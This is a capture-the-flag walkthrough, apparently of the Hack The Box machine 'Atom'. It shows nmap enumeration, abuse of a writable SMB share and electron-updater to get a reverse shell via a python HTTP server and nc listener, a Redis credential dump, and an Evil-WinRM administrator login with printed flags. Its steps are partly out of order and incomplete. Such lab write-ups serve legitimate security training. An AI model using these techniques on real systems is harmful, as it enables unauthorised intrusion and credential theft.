As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Mon Apr 17 08:38:39 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up (0.053s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
5985/tcp open wsman
6379/tcp open redis
7680/tcp open pando-pub
# Nmap done at Mon Apr 17 08:39:05 2023 -- 1 IP address (1 host up) scanned in 26.46 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
As we can see, it is requiring electron-updater. This might be helpful information in the future. Let's keep enumerating the server by listing SMB shares.
smbmap -H 10.10.10.237 -u 'guest'
[+] IP: 10.10.10.237:445 Name: atom.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Software_Updates READ, WRITE
Anonymous login is enabled and we can read and write into the Software_Updates share. Let's mount it to the system, and check its content.
mkdir /mnt/Software_Updates
mount -t cifs //10.10.10.237/Software_Updates /mnt/Software_Updates
Now, set a simple HTTP server where the r'everse.exe binary is located.
python -m http.server 80
And a netcat listener on port 4444 with rlwrap.
nc -lvnp 4444
Finally, copy the latest.yml file to the client1 folder from the Software_Updates share. Once the QA team installs the latest.yml, we'll get a reverse shell as jason, and then we'll be able to grab the user flag.
cp latest.yml /mnt/Software_Updates/client1
Listening on 0.0.0.0 4444
Connection received on 10.10.10.237 55563
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
atom\jason
C:\WINDOWS\system32>type \users\jason\desktop\user.txt
type \users\jason\desktop\user.txt
87191113288e39df1410cd2aeb9757ba
Privilege Escalation
Inside the downloads folder, there is one directory called PortableKanban.
dir \users\jason\downloads
dir \users\jason\downloads
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\users\jason\downloads
04/02/2021 08:00 AM <DIR> .
04/02/2021 08:00 AM <DIR> ..
03/31/2021 02:36 AM <DIR> node_modules
04/02/2021 08:21 PM <DIR> PortableKanban
0 File(s) 0 bytes
4 Dir(s) 5,616,992,256 bytes free
Inside the PortableKanban folder, there is one configuration file called PortableKanban.cfg.
dir \users\jason\downloads\PortableKanban
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\users\jason\downloads\PortableKanban
04/02/2021 08:21 PM <DIR> .
04/02/2021 08:21 PM <DIR> ..
02/27/2013 08:06 AM 58,368 CommandLine.dll
11/08/2017 01:52 PM 141,312 CsvHelper.dll
06/22/2016 09:31 PM 456,704 DotNetZip.dll
04/02/2021 07:44 AM <DIR> Files
11/23/2017 04:29 PM 23,040 Itenso.Rtf.Converter.Html.dll
11/23/2017 04:29 PM 75,776 Itenso.Rtf.Interpreter.dll
11/23/2017 04:29 PM 32,768 Itenso.Rtf.Parser.dll
11/23/2017 04:29 PM 19,968 Itenso.Sys.dll
11/23/2017 04:29 PM 376,832 MsgReader.dll
07/03/2014 10:20 PM 133,296 Ookii.Dialogs.dll
04/02/2021 07:17 AM <DIR> Plugins
04/02/2021 08:22 PM 5,920 PortableKanban.cfg
01/04/2018 09:12 PM 118,184 PortableKanban.Data.dll
01/04/2018 09:12 PM 1,878,440 PortableKanban.exe
01/04/2018 09:12 PM 31,144 PortableKanban.Extensions.dll
04/02/2021 07:21 AM 172 PortableKanban.pk3.lock
09/06/2017 12:18 PM 413,184 ServiceStack.Common.dll
09/06/2017 12:17 PM 137,216 ServiceStack.Interfaces.dll
09/06/2017 12:02 PM 292,352 ServiceStack.Redis.dll
09/06/2017 04:38 AM 411,648 ServiceStack.Text.dll
01/04/2018 09:14 PM 1,050,092 User Guide.pdf
19 File(s) 5,656,416 bytes
4 Dir(s) 5,614,505,984 bytes free
The PortableKanban.cfg file has one encrypted password for a Redis database.
type \users\jason\downloads\PortableKanban\PortableKanban.cfg
10.10.10.237:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
Run again the script with the new encrypted password.
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type \users\administrator\desktop\root.txt
82ba3dc4bb1a5e965dc5ae876d4f842d
As we saw earlier, the main.js was using electron-updater. If we google for any common exploits associated with that technology, we'll find an article called , explaining how to get remote command execution. First, we need to create a malicious .exe file with a ' character in the name.